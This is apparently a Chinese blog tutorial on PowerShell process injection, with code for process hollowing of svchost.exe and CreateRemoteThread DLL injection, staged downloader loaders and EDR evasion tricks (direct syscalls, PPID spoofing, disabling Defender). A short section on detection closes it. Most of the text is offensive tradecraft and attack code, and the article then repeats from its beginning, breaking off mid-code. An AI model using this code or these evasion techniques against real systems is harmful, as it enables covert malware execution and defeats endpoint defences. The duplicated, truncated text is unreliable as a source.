1. 项目概述与核心价值如果你在Windows安全领域摸爬滚打过一阵子尤其是对红蓝对抗、EDR绕过或者恶意软件分析感兴趣那么“进程注入”这个词对你来说肯定不陌生。这几乎是现代攻击链和防御检测中的核心战场。今天要聊的就是一套在PowerShell环境下实现进程注入的完整“工具箱”——从经典的进程空洞化Start-Hollow到更隐蔽的远程DLL注入Stage-RemoteDll。这不仅仅是几个脚本的堆砌它代表了一套在Windows内存中“偷梁换柱”和“借壳上市”的高级技术合集对于理解攻击者的横向移动、权限维持手段以及构建更健壮的端点检测规则都有着极高的实战价值。简单来说这个“完全教程”旨在系统性地拆解利用PowerShell进行进程注入的多种技术路径。PowerShell作为Windows的原生强大脚本环境其与.NET框架的深度集成使得它能够直接调用Windows API进行底层的进程和内存操作这为在纯脚本环境下实现原本需要C/C等编译型语言才能完成的高级攻击技术提供了可能。学习它你不仅能掌握一套实用的红队技巧更能深刻理解Windows进程内存模型、API调用机制以及安全产品如防病毒软件、EDR的检测逻辑盲点。无论是为了提升自己的防御视野还是进行授权的渗透测试这份指南都能提供从原理到实操的完整地图。2. 技术全景从Start-Hollow到Stage-RemoteDll的演进逻辑在深入代码之前我们必须先理清这些技术之间的内在联系和演进逻辑。它们并非孤立存在而是代表了进程注入技术在不同隐蔽性、兼容性和复杂度维度上的探索。Start-Hollow进程空洞化通常是这个系列的起点。它的核心思想非常“暴力美学”创建一个处于挂起状态的合法进程比如svchost.exe然后将其主线程即将执行的内存区域通常是PE映像整个“挖空”替换成我们自己的恶意代码。最后恢复线程执行这个进程实际上就在“合法外衣”下运行着我们的载荷。这种方法的好处是进程的父进程、命令行参数等元数据看起来完全正常但缺点也很明显——它直接篡改了进程映像行为特征明显容易被基于内存完整性校验的检测手段捕捉。Stage-RemoteDll远程DLL注入则代表了另一种更“优雅”和模块化的思路。它不直接替换整个进程映像而是将恶意代码封装成DLL动态链接库然后通过一系列API将这个DLL“注入”到目标进程的地址空间中并触发其执行。这种方法的好处在于恶意代码与目标进程相对“隔离”可以更方便地实现模块化、阶段化的攻击。例如先注入一个轻量级的“加载器”DLL再由它从网络或本地解密、加载最终的有效载荷。这种分阶段Staging的特性正是“Stage-”前缀的由来它极大地增加了检测和取证的难度。从Start-Hollow到Stage-RemoteDll我们可以看到一个清晰的技术演进路径从“完全替代”走向“模块化寄生”从追求一次性执行到追求持久、隐蔽的驻留。理解这条路径有助于我们在实际应用中根据场景如目标环境、对抗强度、载荷大小选择最合适的技术。2.1 核心依赖与前置知识要顺利复现和理解了这些技术你需要搭建好以下环境并具备一些基础知识操作系统与PowerShell版本Windows 10/11 或 Windows Server 2016及以上。PowerShell版本建议为5.1或更高最好使用PowerShell 7跨平台版本以获得更好的性能和现代语法支持。许多高级内存操作API需要完整的.NET框架或.NET Core/5的支持。执行权限大部分进程注入操作需要较高的权限。你需要以管理员身份运行PowerShell控制台即“以管理员身份运行”。许多API调用特别是涉及对其他进程内存进行写入操作时需要SeDebugPrivilege权限这在管理员会话中通常默认启用。必要的.NET知识虽然教程会提供完整脚本但理解代码需要基础的C#或.NET概念。因为PowerShell脚本中大量使用了Add-Type命令来动态编译C#代码片段以定义和调用复杂的Windows APIP/Invoke。你需要了解诸如DllImport、结构体、指针IntPtr等概念。Windows API基础了解关键进程和内存操作的Win32 API是核心。这包括但不限于OpenProcess打开目标进程获取句柄。VirtualAllocEx/WriteProcessMemory在目标进程内存中分配空间并写入数据。CreateRemoteThread/QueueUserAPC在目标进程中创建新线程或向现有线程插入异步过程调用以执行代码。GetProcAddress/GetModuleHandle获取函数在DLL中的地址。安全意识与实验环境强烈警告这些技术具有实际的攻击能力。务必在一个完全隔离的虚拟化实验环境中进行操作例如VMware或Hyper-V中的虚拟机。切勿在生产环境、他人设备或任何未授权系统上尝试。注意由于PowerShell执行策略可能限制脚本运行你通常需要先以管理员身份执行Set-ExecutionPolicy RemoteSigned -Scope CurrentUser来放宽限制实验后请改回Restricted。同时现代Windows Defender等安全软件可能会实时拦截这些行为在实验环境中可能需要临时禁用相关实时保护功能。3. 深度解析Start-Hollow进程空洞化技术让我们首先攻克Start-Hollow。我将不仅展示代码更会一步步拆解其背后的每一个Windows API调用和内存操作细节。3.1 技术原理与流程拆解进程空洞化的本质是“借尸还魂”。其标准流程可以分解为以下步骤我将其与Windows进程创建的关键时刻点对应起来创建挂起进程使用CreateProcessAPI并指定CREATE_SUSPENDED标志。此时操作系统已经为进程分配了地址空间加载了指定的可执行文件如svchost.exe到内存创建了主线程但该线程尚未开始执行——它被“挂起”了。这个时刻进程的PE结构在内存中是完整且原始的。获取上下文与基址调用GetThreadContext获取挂起线程的上下文CONTEXT结构。对于x64系统我们需要关注Rdx寄存器或x86的Eax它通常指向进程环境块PEB。通过读取PEB中的ImageBaseAddress字段我们可以找到原始可执行文件在内存中的加载基址。读取原始PE头利用上一步得到的基址我们调用ReadProcessMemory从目标进程内存中读取其DOS头和NT头IMAGE_NT_HEADERS。关键目标是获取SizeOfImage字段——它告诉我们需要“挖空”多大的内存区域。卸载原始映像调用NtUnmapViewOfSection或ZwUnmapViewOfSection这个未公开文档化的Native API。这是关键一步它将之前加载的合法PE映像从进程的地址空间中“解除映射”相当于把那块内存区域清空但保留地址空间的“坑位”。此时从基址开始大小为SizeOfImage的内存区域变成了可用的空闲空间。分配新内存与写入恶意PE在目标进程的同一基址如果可用或其他地址使用VirtualAllocEx分配一块可读、可写、可执行PAGE_EXECUTE_READWRITE的内存。然后将我们准备好的恶意PE文件例如一个Shellcode加载器或后门的完整二进制内容使用WriteProcessMemory写入这块新分配的内存。修复内存偏移如果新PE的加载基址与分配地址不同我们需要进行“重定位”Relocation修复。这涉及到遍历PE的重定位表修正所有需要基于基址的指针。如果我们的恶意PE编译时设置了灵活的基址/DYNAMICBASE且我们能成功在原始基址分配内存这一步可以省略。修复线程上下文修改之前获取的线程上下文主要是将指令指针x64的Rip/ x86的Eip指向我们恶意PE的入口点地址AddressOfEntryPoint。恢复线程执行调用SetThreadContext应用修改后的上下文然后调用ResumeThread。线程恢复执行但跳转去执行的是我们的恶意代码而非原始的svchost.exe入口点。3.2 PowerShell实现核心代码剖析下面是一个高度简化和注释的PowerShell代码框架展示了如何利用Add-Type嵌入C#代码来调用上述API。实际完整的Start-Hollow.ps1脚本会更复杂包含错误处理和更多选项。# 首先我们需要通过C#定义所有必要的Win32 API和结构体 $Win32Definitions “ using System; using System.Runtime.InteropServices; public class Win32 { // 常量定义 public const uint CREATE_SUSPENDED 0x00000004; public const uint PAGE_EXECUTE_READWRITE 0x40; public const uint MEM_COMMIT 0x00001000; public const uint MEM_RESERVE 0x00002000; // 结构体 [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } // API声明 [DllImport(kernel32.dll, SetLastError true)] public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation ); [DllImport(ntdll.dll)] public static extern int NtUnmapViewOfSection( IntPtr hProcess, IntPtr baseAddress ); // 此处省略其他大量API声明ReadProcessMemory, WriteProcessMemory, VirtualAllocEx, // GetThreadContext, SetThreadContext, ResumeThread, VirtualProtectEx等... } “ # 将C#代码编译并加载到当前PowerShell会话中 Add-Type -TypeDefinition $Win32Definitions -Language CSharp # 主函数逻辑 function Start-Hollow { param( [string]$TargetProcessPath C:\Windows\System32\svchost.exe, [byte[]]$PayloadBytes # 这是我们的恶意PE文件的字节数组 ) # 1. 创建挂起的进程 $si New-Object Win32STARTUPINFO $si.cb [System.Runtime.InteropServices.Marshal]::SizeOf($si) $pi New-Object Win32PROCESS_INFORMATION $success [Win32]::CreateProcess( $null, $TargetProcessPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Win32]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi ) if (!$success) { throw 创建进程失败 } Write-Host [] 挂起进程创建成功PID: $($pi.dwProcessId) # 2. 获取线程上下文 (以x64为例需要定义CONTEXT结构此处简化) # ... 调用 GetThreadContext ... # 3. 读取目标进程PE头获取ImageBase和SizeOfImage # ... 调用 ReadProcessMemory 读取目标进程内存 ... # 4. 使用NtUnmapViewOfSection卸载原始映像 $ntStatus [Win32]::NtUnmapViewOfSection($pi.hProcess, $originalImageBase) if ($ntStatus -ne 0) { throw 卸载内存段失败 } Write-Host [] 原始PE映像已从内存中解除映射 # 5. 在目标进程分配新内存并写入Payload $allocAddr [Win32]::VirtualAllocEx($pi.hProcess, $originalImageBase, $payloadSize, [Win32]::MEM_COMMIT -bor [Win32]::MEM_RESERVE, [Win32]::PAGE_EXECUTE_READWRITE) if ($allocAddr -eq [IntPtr]::Zero) { throw 内存分配失败 } Write-Host [] 在目标进程分配内存地址: 0x$($allocAddr.ToString(X16)) $bytesWritten 0 $success [Win32]::WriteProcessMemory($pi.hProcess, $allocAddr, $PayloadBytes, $PayloadBytes.Length, [ref]$bytesWritten) if (!$success) { throw 写入Payload失败 } Write-Host [] Payload写入成功大小: $bytesWritten 字节 # 6. 可选修复重定位 (此处逻辑复杂需解析PE结构略) # 7. 修复线程上下文将入口点指向我们Payload的地址 # $context.Rip $allocAddr $payloadEntryPointRVA # ... 调用 SetThreadContext ... # 8. 恢复线程执行 $resumeResult [Win32]::ResumeThread($pi.hThread) Write-Host [] 线程已恢复Hollowing完成。 # 清理句柄 [Win32]::CloseHandle($pi.hThread) [Win32]::CloseHandle($pi.hProcess) }3.3 实操要点与避坑指南在实际操作Start-Hollow时以下几个细节决定了成败目标进程选择并非所有进程都适合空洞化。svchost.exe是经典选择因为它数量多、行为常见、且通常以SYSTEM或高权限运行。但现代EDR会监控svchost的异常内存操作。可以尝试其他白名单进程如rundll32.exe、dllhost.exe甚至一些第三方可信软件。关键是要模仿该进程的正常行为避免产生明显的命令行参数或子进程异常。Payload构造你的恶意PE文件必须是位置无关代码PIC或已正确处理重定位。最简单的方法是使用Metasploit的msfvenom生成一个纯Shellcode然后将其嵌入到一个极小的、自定义的PE加载器Loader中。这个Loader的唯一功能就是在内存中定位并执行Shellcode。这样Loader可以编译为支持重定位/DYNAMICBASE增加在原始基址分配成功的概率。权限与绕过即使以管理员身份运行某些敏感操作也可能被拦截。NtUnmapViewOfSection是一个底层Native API调用它可能触发内核回调被一些高级EDR记录。在对抗性强的环境中可能需要寻找替代方案或者通过更复杂的内存操作如VirtualProtectEx修改权限后覆盖内存来模拟卸载和重新分配的效果。错误处理上述示例代码省略了大部分错误检查。在实际脚本中每一个API调用后都必须检查返回值或调用[System.Runtime.InteropServices.Marshal]::GetLastWin32Error()。进程注入失败的原因千奇百怪内存地址冲突、权限不足、进程退出、结构体对齐问题等等。完善的错误日志是调试的唯一帮手。4. 进阶掌握Stage-RemoteDll远程DLL注入技术如果说Start-Hollow是“夺舍”那么Stage-RemoteDll就是“附身”。它不破坏宿主进程的原有主体而是让一个额外的DLL在其内部运行。这是目前更流行、更灵活的注入方式。4.1 技术原理与核心方法对比远程DLL注入的核心在于三个步骤将DLL路径或映像写入目标进程空间让目标进程调用LoadLibrary来加载这个DLL执行DLL的入口函数DllMain。实现这一步的关键在于“如何在目标进程的上下文中执行代码”。主要有三种经典方法方法核心API原理简述优点缺点CreateRemoteThreadCreateRemoteThread,LoadLibraryA/W在目标进程创建一个全新的远程线程线程的启动例程设为LoadLibrary函数地址参数为DLL路径字符串地址。经典、可靠、兼容性好。创建新线程行为明显容易被基于线程创建的检测规则发现。QueueUserAPC (APC注入)QueueUserAPC向目标进程中一个处于可警告等待状态的线程插入一个异步过程调用(APC)。APC函数设为LoadLibrary。利用现有线程不创建新线程相对隐蔽。需要目标线程进入可警告等待状态如SleepEx,WaitForSingleObjectEx时机不确定。SetWindowsHookExSetWindowsHookEx设置一个全局Windows钩子。钩子过程函数在DLL中当DLL被注入到处理钩子消息的进程时系统会自动加载它。利用Windows消息机制非常隐蔽。主要对拥有消息泵的GUI进程有效对服务类进程无效。可能影响系统UI响应。Stage-RemoteDll通常指第一种或第二种方法尤其是与“阶段化”攻击结合时。例如先注入一个微型的“DLL加载器”这个加载器再通过网络下载或解密出完整的第二阶段DLL并加载。4.2 PowerShell实现CreateRemoteThread 方式详解我们以最经典的CreateRemoteThread为例看看如何在PowerShell中实现。同样我们需要大量P/Invoke定义。function Invoke-RemoteDllInjection { param( [int]$ProcessId, [string]$DllPath ) # 1. 打开目标进程获取句柄 (需要PROCESS_ALL_ACCESS或至少PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION) $hProcess [Win32]::OpenProcess(0x001F0FFF, $false, $ProcessId) # PROCESS_ALL_ACCESS if ($hProcess -eq [IntPtr]::Zero) { throw 无法打开进程ID: $ProcessId } # 2. 在目标进程内存中分配空间用于存放DLL路径字符串 $dllPathBytes [System.Text.Encoding]::Unicode.GetBytes($DllPath 0) # 宽字符以\0结尾 $dllPathSize $dllPathBytes.Length $remoteDllPathAddr [Win32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $dllPathSize, [Win32]::MEM_COMMIT -bor [Win32]::MEM_RESERVE, [Win32]::PAGE_READWRITE) if ($remoteDllPathAddr -eq [IntPtr]::Zero) { throw 无法在远程进程分配内存 } # 3. 将DLL路径字符串写入目标进程 $bytesWritten 0 $success [Win32]::WriteProcessMemory($hProcess, $remoteDllPathAddr, $dllPathBytes, $dllPathSize, [ref]$bytesWritten) if (!$success) { throw 无法写入DLL路径到远程进程 } # 4. 获取LoadLibraryW函数在kernel32.dll中的地址 # 注意LoadLibrary地址在同一个系统的所有进程中是一样的因为kernel32.dll加载基址相同 $hKernel32 [Win32]::GetModuleHandle(kernel32.dll) $loadLibraryAddr [Win32]::GetProcAddress($hKernel32, LoadLibraryW) # 使用宽字符版本 # 5. 创建远程线程线程函数为LoadLibraryW参数为DLL路径字符串地址 $hRemoteThread [Win32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $loadLibraryAddr, $remoteDllPathAddr, 0, [IntPtr]::Zero) if ($hRemoteThread -eq [IntPtr]::Zero) { throw 创建远程线程失败 } Write-Host [] 远程线程创建成功线程句柄: 0x$($hRemoteThread.ToString(X)) # 6. 等待线程执行完毕可选但建议等待以确保DLL加载完成 [Win32]::WaitForSingleObject($hRemoteThread, 0xFFFFFFFF) | Out-Null # 7. 获取线程退出码即LoadLibrary返回的DLL模块句柄可用于后续卸载 $exitCode 0 [Win32]::GetExitCodeThread($hRemoteThread, [ref]$exitCode) Write-Host [] 远程线程退出LoadLibrary返回的模块句柄: 0x$($exitCode.ToString(X)) # 8. 清理资源 [Win32]::CloseHandle($hRemoteThread) # 注意通常不释放$remoteDllPathAddr的内存因为DLL加载后可能需要这个字符串。 # 如果确定不需要可以调用 VirtualFreeEx 释放。 [Win32]::CloseHandle($hProcess) Write-Host [] DLL注入完成。 }4.3 阶段化Staging实战从Loader到Shellcode单纯的DLL注入已经很强大了但“阶段化”将其提升到了新的高度。其核心思想是注入的第一个DLLStage 1非常小功能单一如一个下载器或解密器由它来负责获取、解密或加载真正的恶意载荷Stage 2。这带来了巨大优势规避静态扫描初始注入的DLL可能非常简单甚至完全良性难以被特征码检测。动态获取载荷最终载荷可以从网络、注册表、文件碎片等地方获取不直接存在于磁盘上绕过文件扫描。减小攻击面如果Stage 1被发现并终止攻击者可能没有暴露最终的C2地址或攻击工具。一个典型的Stage-RemoteDll流程在PowerShell中可能是这样的准备Stage 1 Loader DLL用C/C编写一个极小的DLL。它的DllMain函数可能从硬编码的URL或通过某种算法生成的URL下载一个加密的Blob。或者从进程的某个特定内存区域、环境变量、或一个看似无害的文件中读取加密数据。使用内置密钥解密该Blob。将解密后的数据即Stage 2 Shellcode或PE在内存中分配可执行内存并跳转执行。将Loader DLL注入目标进程使用上述的Invoke-RemoteDllInjection函数。Loader在目标进程内执行当LoadLibrary加载我们的Loader DLL时DllMain被自动调用开始执行下载和解密流程。Stage 2执行Loader将最终的Shellcode映射到内存并执行可能是通过CreateThread、函数指针调用或另一种进程注入技术如Early Bird APC注入来运行。在PowerShell中你可以使用Invoke-ReflectivePEInjectionPowerSploit项目中的另一个著名脚本的概念来辅助实现Stage 2的内存加载但核心的“阶段化”逻辑需要体现在你自定义的Loader DLL中。5. 对抗检测与高级规避技巧在当今的终端安全环境下原始的进程注入技术很容易被检测。了解如何对抗这些检测是将其从“概念验证”变为“实战武器”的关键。5.1 常见检测点与绕过思路检测层面检测点示例可能的绕过思路行为监控对CreateRemoteThread的调用特别是目标进程是lsass.exe,explorer.exe等敏感进程。使用QueueUserAPC或SetWindowsHookEx替代。或者将线程创建在svchost等看似正常的进程中。内存属性分配具有PAGE_EXECUTE_READWRITE权限的内存区域。这是典型的Shellcode行为。先分配PAGE_READWRITE内存写入Shellcode然后使用VirtualProtectEx更改为PAGE_EXECUTE_READ。或者利用已有的可执行内存区域如.text段进行覆盖。API调用链监控VirtualAllocEx-WriteProcessMemory-CreateRemoteThread这一经典调用链。使用间接系统调用Syscall直接与内核交互绕过用户态的API Hook。或者使用其他内存写入方式如NtMapViewOfSection共享内存。父-子进程关系检测到powershell.exe创建了svchost.exe但命令行异常。使用进程镂空Process Doppelgänging或父进程PID欺骗技术让新进程的父进程看起来是explorer.exe或services.exe。DLL加载监控从非标准路径或内存中加载的DLL。使用DLL反射加载Reflective DLL Injection即不通过LoadLibrary而是手动将DLL映像映射到内存并解析其导入表、重定位表直接调用入口点。这完全避免了DLL在模块列表中注册。5.2 实战技巧使用Syscall进行直接系统调用高级EDR通常会通过API钩子Hook来监控NtCreateThreadEx、NtAllocateVirtualMemory等关键Native API。绕过钩子的一个有效方法是直接进行系统调用Syscall即直接触发CPU的syscall指令跳转到内核中的系统服务分发器。在PowerShell中实现这一点比较棘手因为需要内联汇编或精心构造的Shellcode。但思路是明确的找到系统调用号SSN对于特定Windows版本NtCreateThreadEx等函数对应的系统调用号是固定的尽管不同版本可能不同。可以通过解析ntdll.dll在内存中的文本来动态查找或使用预定义的SSN表。准备Shellcode编写一段汇编代码该代码将系统调用号放入eax寄存器。将函数参数按顺序放入rcx,rdx,r8,r9寄存器其余压栈。执行syscall指令。返回。注入并执行Shellcode将这段Shellcode注入目标进程然后通过CreateRemoteThread或APC调用它。虽然PowerShell原生做这个很复杂但你可以用C#编译一个实现了直接系统调用的辅助DLL然后通过PowerShell加载和使用这个DLL。这实际上又回到了DLL注入的范畴但这个DLL的功能是提供“干净”的进程操作原语。5.3 内存操作隐匿使用Section对象映射另一个高级技巧是使用内存节Section对象。你可以先在当前进程创建一个Section对象并映射视图写入恶意代码。然后将这个Section对象句柄复制到目标进程通过DuplicateHandle并在目标进程中映射同一个Section的视图。这样两个进程就共享了同一块物理内存恶意代码无需通过WriteProcessMemory写入减少了被监控的写入操作。关键API是NtCreateSection和NtMapViewOfSection。这种方法在一些高级攻击框架如Cobalt Strike中有所使用能有效绕过对WriteProcessMemory的监控。6. 防御视角如何检测和防范此类攻击作为一名安全从业者只懂攻击不懂防御是不完整的。从防御者角度看如何发现系统内的进程注入行为启用并调优进程创建日志Windows安全日志Event ID 4688和SysmonEvent ID 1可以记录详细的进程创建信息。关注异常父进程、命令行参数、镜像路径。例如powershell.exe作为svchost.exe的父进程就是高度可疑的。监控模块加载Sysmon Event ID 7Image loaded可以记录DLL加载。关注从临时目录、用户目录或网络路径加载的DLL特别是加载到lsass.exe,svchost.exe等关键系统进程中的未知DLL。内存扫描与威胁狩猎使用EDR工具或自定义脚本定期扫描进程内存查找具有PAGE_EXECUTE_READWRITE属性的内存区域、查找与已知恶意软件特征码YARA规则匹配的内容或检测内存中是否存在MZ头PE文件标志但进程镜像路径不符的情况这是进程空洞化的典型迹象。检测线程创建监控CreateRemoteThread的调用特别是当目标进程是远程进程时。Sysmon Event ID 8CreateRemoteThread专门记录此事件。结合父进程、目标进程和启动函数地址进行关联分析。实施攻击面减少规则利用Windows Defender攻击面减少ASR规则或类似策略可以阻止Office应用程序、脚本宿主如powershell.exe、wscript.exe创建子进程或者阻止从电子邮件和Web邮件中执行的可执行内容。这能阻断许多依赖脚本启动的初始注入链。启用受控文件夹访问/勒索软件防护这可以阻止未经授权的进程对关键内存区域进行写入操作在一定程度上能干扰进程空洞化中写入Payload的步骤。理解攻击技术的每一步是为了能更精准地设置防御的检测点。通过分析Start-Hollow和Stage-RemoteDll的流程防御者可以构建出从进程创建、内存操作到线程执行的完整检测链条。7. 工具生态与扩展学习纯粹的脚本编写可能效率不高。安全社区已经有很多优秀的工具集成了这些技术并提供了更稳定、更隐蔽的实现。PowerSploit这是PowerShell攻击框架的鼻祖其中的Invoke-ReflectivePEInjection脚本是反射式DLL注入的经典实现。Invoke-DllInjection也提供了多种注入方式。研究它们的源码是绝佳的学习材料。Cobalt Strike Metasploit这两个商业/开源框架的“进程注入”、“迁移”功能背后就是这些技术的工业级实现。它们通常结合了多种规避技术如直接系统调用、内存加密等。Offensive Security 课程 (OSEP)如果你想系统化地学习这些绕过技术OSEPEvasion Techniques and Breaching Defenses课程提供了无与伦比的深度和实战环境。最后我必须再次强调法律与道德边界。所有这些知识都应在授权的渗透测试、安全研究或内部防御建设的环境中使用。未经授权的系统访问和攻击是非法的。真正的价值在于通过理解攻击者的手法我们能构建出更难以逾越的防御体系。当你下次在安全日志中看到一个异常的远程线程创建事件时希望你能立刻联想到今天讨论的CreateRemoteThread和LoadLibrary并迅速展开调查。这才是这些技术知识赋予防御者的真正力量。
PowerShell进程注入完全指南:从Start-Hollow到Stage-RemoteDll实战解析
发布时间:2026/7/4 17:48:21
1. 项目概述与核心价值如果你在Windows安全领域摸爬滚打过一阵子尤其是对红蓝对抗、EDR绕过或者恶意软件分析感兴趣那么“进程注入”这个词对你来说肯定不陌生。这几乎是现代攻击链和防御检测中的核心战场。今天要聊的就是一套在PowerShell环境下实现进程注入的完整“工具箱”——从经典的进程空洞化Start-Hollow到更隐蔽的远程DLL注入Stage-RemoteDll。这不仅仅是几个脚本的堆砌它代表了一套在Windows内存中“偷梁换柱”和“借壳上市”的高级技术合集对于理解攻击者的横向移动、权限维持手段以及构建更健壮的端点检测规则都有着极高的实战价值。简单来说这个“完全教程”旨在系统性地拆解利用PowerShell进行进程注入的多种技术路径。PowerShell作为Windows的原生强大脚本环境其与.NET框架的深度集成使得它能够直接调用Windows API进行底层的进程和内存操作这为在纯脚本环境下实现原本需要C/C等编译型语言才能完成的高级攻击技术提供了可能。学习它你不仅能掌握一套实用的红队技巧更能深刻理解Windows进程内存模型、API调用机制以及安全产品如防病毒软件、EDR的检测逻辑盲点。无论是为了提升自己的防御视野还是进行授权的渗透测试这份指南都能提供从原理到实操的完整地图。2. 技术全景从Start-Hollow到Stage-RemoteDll的演进逻辑在深入代码之前我们必须先理清这些技术之间的内在联系和演进逻辑。它们并非孤立存在而是代表了进程注入技术在不同隐蔽性、兼容性和复杂度维度上的探索。Start-Hollow进程空洞化通常是这个系列的起点。它的核心思想非常“暴力美学”创建一个处于挂起状态的合法进程比如svchost.exe然后将其主线程即将执行的内存区域通常是PE映像整个“挖空”替换成我们自己的恶意代码。最后恢复线程执行这个进程实际上就在“合法外衣”下运行着我们的载荷。这种方法的好处是进程的父进程、命令行参数等元数据看起来完全正常但缺点也很明显——它直接篡改了进程映像行为特征明显容易被基于内存完整性校验的检测手段捕捉。Stage-RemoteDll远程DLL注入则代表了另一种更“优雅”和模块化的思路。它不直接替换整个进程映像而是将恶意代码封装成DLL动态链接库然后通过一系列API将这个DLL“注入”到目标进程的地址空间中并触发其执行。这种方法的好处在于恶意代码与目标进程相对“隔离”可以更方便地实现模块化、阶段化的攻击。例如先注入一个轻量级的“加载器”DLL再由它从网络或本地解密、加载最终的有效载荷。这种分阶段Staging的特性正是“Stage-”前缀的由来它极大地增加了检测和取证的难度。从Start-Hollow到Stage-RemoteDll我们可以看到一个清晰的技术演进路径从“完全替代”走向“模块化寄生”从追求一次性执行到追求持久、隐蔽的驻留。理解这条路径有助于我们在实际应用中根据场景如目标环境、对抗强度、载荷大小选择最合适的技术。2.1 核心依赖与前置知识要顺利复现和理解了这些技术你需要搭建好以下环境并具备一些基础知识操作系统与PowerShell版本Windows 10/11 或 Windows Server 2016及以上。PowerShell版本建议为5.1或更高最好使用PowerShell 7跨平台版本以获得更好的性能和现代语法支持。许多高级内存操作API需要完整的.NET框架或.NET Core/5的支持。执行权限大部分进程注入操作需要较高的权限。你需要以管理员身份运行PowerShell控制台即“以管理员身份运行”。许多API调用特别是涉及对其他进程内存进行写入操作时需要SeDebugPrivilege权限这在管理员会话中通常默认启用。必要的.NET知识虽然教程会提供完整脚本但理解代码需要基础的C#或.NET概念。因为PowerShell脚本中大量使用了Add-Type命令来动态编译C#代码片段以定义和调用复杂的Windows APIP/Invoke。你需要了解诸如DllImport、结构体、指针IntPtr等概念。Windows API基础了解关键进程和内存操作的Win32 API是核心。这包括但不限于OpenProcess打开目标进程获取句柄。VirtualAllocEx/WriteProcessMemory在目标进程内存中分配空间并写入数据。CreateRemoteThread/QueueUserAPC在目标进程中创建新线程或向现有线程插入异步过程调用以执行代码。GetProcAddress/GetModuleHandle获取函数在DLL中的地址。安全意识与实验环境强烈警告这些技术具有实际的攻击能力。务必在一个完全隔离的虚拟化实验环境中进行操作例如VMware或Hyper-V中的虚拟机。切勿在生产环境、他人设备或任何未授权系统上尝试。注意由于PowerShell执行策略可能限制脚本运行你通常需要先以管理员身份执行Set-ExecutionPolicy RemoteSigned -Scope CurrentUser来放宽限制实验后请改回Restricted。同时现代Windows Defender等安全软件可能会实时拦截这些行为在实验环境中可能需要临时禁用相关实时保护功能。3. 深度解析Start-Hollow进程空洞化技术让我们首先攻克Start-Hollow。我将不仅展示代码更会一步步拆解其背后的每一个Windows API调用和内存操作细节。3.1 技术原理与流程拆解进程空洞化的本质是“借尸还魂”。其标准流程可以分解为以下步骤我将其与Windows进程创建的关键时刻点对应起来创建挂起进程使用CreateProcessAPI并指定CREATE_SUSPENDED标志。此时操作系统已经为进程分配了地址空间加载了指定的可执行文件如svchost.exe到内存创建了主线程但该线程尚未开始执行——它被“挂起”了。这个时刻进程的PE结构在内存中是完整且原始的。获取上下文与基址调用GetThreadContext获取挂起线程的上下文CONTEXT结构。对于x64系统我们需要关注Rdx寄存器或x86的Eax它通常指向进程环境块PEB。通过读取PEB中的ImageBaseAddress字段我们可以找到原始可执行文件在内存中的加载基址。读取原始PE头利用上一步得到的基址我们调用ReadProcessMemory从目标进程内存中读取其DOS头和NT头IMAGE_NT_HEADERS。关键目标是获取SizeOfImage字段——它告诉我们需要“挖空”多大的内存区域。卸载原始映像调用NtUnmapViewOfSection或ZwUnmapViewOfSection这个未公开文档化的Native API。这是关键一步它将之前加载的合法PE映像从进程的地址空间中“解除映射”相当于把那块内存区域清空但保留地址空间的“坑位”。此时从基址开始大小为SizeOfImage的内存区域变成了可用的空闲空间。分配新内存与写入恶意PE在目标进程的同一基址如果可用或其他地址使用VirtualAllocEx分配一块可读、可写、可执行PAGE_EXECUTE_READWRITE的内存。然后将我们准备好的恶意PE文件例如一个Shellcode加载器或后门的完整二进制内容使用WriteProcessMemory写入这块新分配的内存。修复内存偏移如果新PE的加载基址与分配地址不同我们需要进行“重定位”Relocation修复。这涉及到遍历PE的重定位表修正所有需要基于基址的指针。如果我们的恶意PE编译时设置了灵活的基址/DYNAMICBASE且我们能成功在原始基址分配内存这一步可以省略。修复线程上下文修改之前获取的线程上下文主要是将指令指针x64的Rip/ x86的Eip指向我们恶意PE的入口点地址AddressOfEntryPoint。恢复线程执行调用SetThreadContext应用修改后的上下文然后调用ResumeThread。线程恢复执行但跳转去执行的是我们的恶意代码而非原始的svchost.exe入口点。3.2 PowerShell实现核心代码剖析下面是一个高度简化和注释的PowerShell代码框架展示了如何利用Add-Type嵌入C#代码来调用上述API。实际完整的Start-Hollow.ps1脚本会更复杂包含错误处理和更多选项。# 首先我们需要通过C#定义所有必要的Win32 API和结构体 $Win32Definitions “ using System; using System.Runtime.InteropServices; public class Win32 { // 常量定义 public const uint CREATE_SUSPENDED 0x00000004; public const uint PAGE_EXECUTE_READWRITE 0x40; public const uint MEM_COMMIT 0x00001000; public const uint MEM_RESERVE 0x00002000; // 结构体 [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } // API声明 [DllImport(kernel32.dll, SetLastError true)] public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION 